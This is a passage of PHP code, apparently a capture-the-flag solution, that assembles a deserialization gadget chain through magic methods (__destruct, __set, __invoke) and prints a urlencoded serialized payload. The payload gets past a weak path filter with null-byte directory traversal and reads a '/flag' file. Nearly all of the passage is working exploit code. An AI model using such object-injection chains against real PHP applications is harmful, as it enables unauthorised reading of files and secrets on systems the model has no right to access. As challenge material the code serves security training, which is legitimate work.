    public function readfile($f){        echo '4';        $this->file = isset($f) ? $f : 'image'.$this->file;        echo file_get_contents(safe($this->file));    }
    public function __invoke(){        echo '5';        return $this->filename->Giveme;    }}
class suhasuha{    public $action;
    public function __set($name, $value){        echo '6';        $this->Giveme = ($this->action)();        return $this->Giveme;    }}
class One{    public $count;
    public function __construct(){        echo '7';        $this->count = "one";    }
    public function __destruct(){        echo '8';        echo "try ".$this->count." again";    }
}
function safe($path){    $path = preg_replace("/.*\/\/.*/", "", $path);    $path = preg_replace("/\..\..*/", "!", $path);    $path = htmlentities($path);    return strip_tags($path);}
$a = new One();$b = new suhasuha();$c = new Onemore();$d = new abaaba($b);
$a->count = $d;$b->action = [$c,"readfile"];$c->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");echo urlencode(serialize($a));
?>